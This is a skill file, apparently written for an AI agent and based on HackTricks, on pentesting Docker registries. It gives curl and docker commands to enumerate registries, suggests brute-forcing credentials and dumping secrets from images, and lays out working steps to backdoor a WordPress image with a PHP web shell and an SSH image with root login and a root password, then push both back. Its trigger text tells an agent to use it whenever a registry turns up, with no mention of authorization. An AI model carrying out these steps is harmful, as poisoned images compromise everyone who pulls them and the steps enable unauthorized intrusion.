Hacktricks-skills docker-registry-pentest
How to pentest Docker registries (port 5000). Use this skill whenever you need to enumerate, exploit, or backdoor a Docker registry service. Trigger this when you discover port 5000 open, see Docker registry fingerprints, need to pull/push images from a registry, want to extract secrets from container images, or are working on container security assessments. Don't forget to use this for any Docker registry enumeration or exploitation tasks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/5000-pentesting-docker-registry/SKILL.MDDocker Registry Pentesting
A skill for discovering, enumerating, and exploiting Docker registries during security assessments.
Quick Start
# Check if Docker registry is accessible curl -s http://<target>:5000/v2/_catalog # If authenticated, use credentials curl -s -u username:password http://<target>:5000/v2/_catalog
Discovery
Identify Docker Registry Service
Docker registries typically run on port 5000 (default) and serve HTTP/HTTPS.
Fingerprints to look for:
returns empty response/
returns/v2/{}
returns repository list or authentication error/v2/_catalog
Nmap detection:
PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0)
Note: Docker registries may be behind HTTP proxies where nmap won't detect them. Always test with curl.
Enumeration
Step 1: Determine Protocol (HTTP vs HTTPS)
# Try HTTP first curl -s http://<target>:5000/v2/_catalog # If you get binary output warnings, try HTTPS curl -k -s https://<target>:5000/v2/_catalog
Step 2: Check Authentication Requirements
# No auth required - you'll see repositories curl -s http://<target>:5000/v2/_catalog # Response: {"repositories":["alpine","ubuntu"]} # Auth required - you'll see error curl -s http://<target>:5000/v2/_catalog # Response: {"errors":[{"code":"UNAUTHORIZED","message":"authentication required"...}]}
If authentication is required, you'll need valid credentials to proceed. Try brute-forcing with common credentials or look for leaked credentials elsewhere in the assessment.
Step 3: List Available Repositories
# Without authentication curl -s http://<target>:5000/v2/_catalog # With authentication curl -s -u username:password http://<target>:5000/v2/_catalog # With bearer token curl -s -H "Authorization: Bearer <token>" http://<target>:5000/v2/_catalog
Step 4: List Tags for Each Repository
# Get all tags for a specific repository curl -s http://<target>:5000/v2/<repo>/tags/list # Response: {"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
Step 5: Get Image Manifests
# Get manifest for a specific tag curl -s http://<target>:5000/v2/<repo>/manifests/<tag>
The manifest contains:
: API versionschemaVersion
: Repository namename
: Image tagtag
: CPU architecturearchitecture
: Array of blob hashes (layers)fsLayers
: Build history with commands usedhistory
Step 6: Download and Inspect Blobs
# Download a specific blob curl -s http://<target>:5000/v2/<repo>/blobs/<blob_hash> --output blob.tar # Extract and inspect tar -xf blob.tar ls -la
Important: Download each blob to a separate directory to avoid overwriting. Blobs are layered, and extracting them together will merge the layers.
Step 7: Use Docker CLI (if available)
# Pull image from registry docker pull <target>:5000/<repo>:<tag> # View image history (commands used to build) docker history <target>:5000/<repo> # Run container interactively docker run -it <target>:5000/<repo> bash # Get shell into running container docker ps docker exec -it <container_id> bash
Exploitation
Backdooring WordPress Image
If you find a WordPress image in the registry, you can backdoor it:
- Create a PHP shell:
cat > shell.php << 'EOF' <?php echo shell_exec($_GET["cmd"]); ?> EOF
- Create a Dockerfile:
cat > Dockerfile << EOF FROM <target>:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php EOF
- Build and push the backdoored image:
docker build -t <target>:5000/wordpress . docker images # Verify it was created docker push <target>:5000/wordpress
Backdooring SSH Server Image
If you find an SSH server image, you can modify it to allow root login:
- Pull and run the image:
docker pull <target>:5000/sshd-docker-cli docker run -d <target>:5000/sshd-docker-cli
- Extract sshd_config:
docker cp <container_id>:/etc/ssh/sshd_config .
- Modify sshd_config:
# Edit the file and add/modify: PermitRootLogin yes
- Create Dockerfile:
cat > Dockerfile << EOF FROM <target>:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo "root:password" | chpasswd EOF
- Build and push:
docker build -t <target>:5000/sshd-docker-cli . docker push <target>:5000/sshd-docker-cli
Common Attack Patterns
1. Unauthenticated Registry Access
- Many registries are misconfigured without authentication
- All repositories and images are publicly accessible
- Can pull any image and inspect for secrets
2. Weak Credentials
- Default credentials often used (admin/admin, root/root)
- Credentials may be leaked in other parts of the assessment
- Try common Docker registry credential patterns
3. Image Tampering
- If you can push images, you can replace legitimate images with backdoored versions
- This affects anyone pulling from the registry
- Particularly dangerous for CI/CD pipelines
4. Secret Extraction
- Inspect image layers for hardcoded credentials
- Check environment variables in image history
- Look for AWS keys, database passwords, API tokens
Tools
DockerRegistryGrabber
A Python tool for enumerating and dumping Docker registries:
# List repositories python3 drg.py http://<target> --list # Dump specific image python3 drg.py http://<target> --dump <image_name> # Dump all images python3 drg.py http://<target> --dump_all # With authentication python3 drg.py http://<target> -U username -P password --list # With bearer token python3 drg.py http://<target> -A '<bearer_token>' --list
Workflow Summary
- Discover - Check port 5000, verify Docker registry fingerprints
- Enumerate - List repositories, tags, and manifests
- Extract - Download blobs, inspect image contents
- Exploit - Backdoor images, extract secrets, push malicious images
- Document - Record findings, credentials, and access methods
Important Notes
- Always use separate directories when extracting multiple blobs to avoid overwriting
- Check both HTTP and HTTPS - registries may be configured either way
- Authentication may be required - look for credentials elsewhere in the assessment
- Image history contains build commands - valuable for understanding the image and finding secrets
- Pushing backdoored images affects all future pulls from the registry